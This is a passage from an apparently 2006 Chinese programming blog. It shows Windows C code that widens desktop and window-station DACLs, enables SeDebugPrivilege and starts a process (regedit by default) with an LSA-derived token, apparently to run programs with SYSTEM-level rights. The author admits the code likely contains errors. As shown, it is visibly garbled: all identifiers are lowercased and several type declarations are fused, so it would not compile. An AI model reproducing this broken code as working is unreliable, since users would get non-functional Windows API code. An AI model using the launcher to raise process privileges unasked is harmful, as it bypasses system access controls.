 pnewacl,
 false)
 )
__leave;

 // set the new security descriptor for the window station.

 if (!setuserobjectsecurity(hwinsta, &si, psdnew))
__leave;

 // indicate success.

 bsuccess = true;
}
__finally
{
 // free the allocated buffers.

 if (pace != null)
heapfree(getprocessheap(), 0, (lpvoid)pace);

 if (pnewacl != null)
heapfree(getprocessheap(), 0, (lpvoid)pnewacl);

 if (psd != null)
heapfree(getprocessheap(), 0, (lpvoid)psd);

 if (psdnew != null)
heapfree(getprocessheap(), 0, (lpvoid)psdnew);
}

return bsuccess;

}

bool addacetodesktop(hdesk hdesk, psid psid)
{
acl_size_information aclsizeinfo;
bool bdaclexist;
bool bdaclpresent;
bool bsuccess = false;
dworddwnewaclsize;
dworddwsidsize = 0;
dworddwsdsizeneeded;
pacl pacl;
pacl pnewacl;
psecurity_descriptor psd = null;
psecurity_descriptor psdnew = null;
pvoidptempace;
security_information si = dacl_security_information;
unsigned int i;

__try
{
 // obtain the security descriptor for the desktop object.

 if (!getuserobjectsecurity(
 hdesk,
 &si,
 psd,
 dwsidsize,
 &dwsdsizeneeded))
 {
if (getlasterror() == error_insufficient_buffer)
{
 psd = (psecurity_descriptor)heapalloc(
 getprocessheap(),
 heap_zero_memory,
 dwsdsizeneeded );

 if (psd == null)
__leave;

 psdnew = (psecurity_descriptor)heapalloc(
 getprocessheap(),
 heap_zero_memory,
 dwsdsizeneeded);

 if (psdnew == null)
__leave;

 dwsidsize = dwsdsizeneeded;

 if (!getuserobjectsecurity(
 hdesk,
 &si,
 psd,
 dwsidsize,
 &dwsdsizeneeded)
 )
__leave;
}
else
 __leave;
 }

 // create a new security descriptor.

 if (!initializesecuritydescriptor(
 psdnew,
 security_descriptor_revision)
 )
__leave;

 // obtain the dacl from the security descriptor.

 if (!getsecuritydescriptordacl(
 psd,
 &bdaclpresent,
 &pacl,
 &bdaclexist)
 )
__leave;

 // initialize.

 zeromemory(&aclsizeinfo, sizeof(acl_size_information));
 aclsizeinfo.aclbytesinuse = sizeof(acl);

 // call only if null dacl.

 if (pacl != null)
 {
// determine the size of the acl information.

if (!getaclinformation(
pacl,
(lpvoid)&aclsizeinfo,
sizeof(acl_size_information),
aclsizeinformation)
)
 __leave;
 }

 // compute the size of the new acl.

 dwnewaclsize = aclsizeinfo.aclbytesinuse +
 sizeof(access_allowed_ace) +
 getlengthsid(psid) - sizeof(dword);

 // allocate buffer for the new acl.

 pnewacl = (pacl)heapalloc(
 getprocessheap(),
 heap_zero_memory,
 dwnewaclsize);

 if (pnewacl == null)
__leave;

 // initialize the new acl.

 if (!initializeacl(pnewacl, dwnewaclsize, acl_revision))
__leave;

 // if dacl is present, copy it to a new dacl.

 if (bdaclpresent)
 {
// copy the aces to the new acl.
if (aclsizeinfo.acecount)
{
 for (i=0; i < aclsizeinfo.acecount; i++)
 {
// get an ace.
if (!getace(pacl, i, &ptempace))
 __leave;

// add the ace to the new acl.
if (!addace(
 pnewacl,
 acl_revision,
 maxdword,
 ptempace,
 ((pace_header)ptempace)->acesize)
)
 __leave;
 }
}
 }

 // add ace to the dacl.

 if (!addaccessallowedace(
 pnewacl,
 acl_revision,
 desktop_all,
 psid)
 )
__leave;

 // set new dacl to the new security descriptor.

 if (!setsecuritydescriptordacl(
 psdnew,
 true,
 pnewacl,
 false)
 )
__leave;

 // set the new security descriptor for the desktop object.

 if (!setuserobjectsecurity(hdesk, &si, psdnew))
__leave;

 // indicate success.

 bsuccess = true;
}
__finally
{
 // free buffers.

 if (pnewacl != null)
heapfree(getprocessheap(), 0, (lpvoid)pnewacl);

 if (psd != null)
heapfree(getprocessheap(), 0, (lpvoid)psd);

 if (psdnew != null)
heapfree(getprocessheap(), 0, (lpvoid)psdnew);
}

return bsuccess;
}

int main(int argc, char **argv)
{
 handle htoken = null;
 enableprivilege(se_debug_name);
 htoken = getlsatoken();
 startinteractiveclientprocess(null, null, null, argc==2?argv[1]:"regedit", htoken);
 return 0;
}


上面这两种方法都能很好的完全功能,但是建议用第二种,虽然代码看上去有点长,但是很稳定.
代码又长又乱,其中肯定有错误之处,还请大家告之.谢过先... ;-)

()

相关文章:
© 2006   www.java-asp.net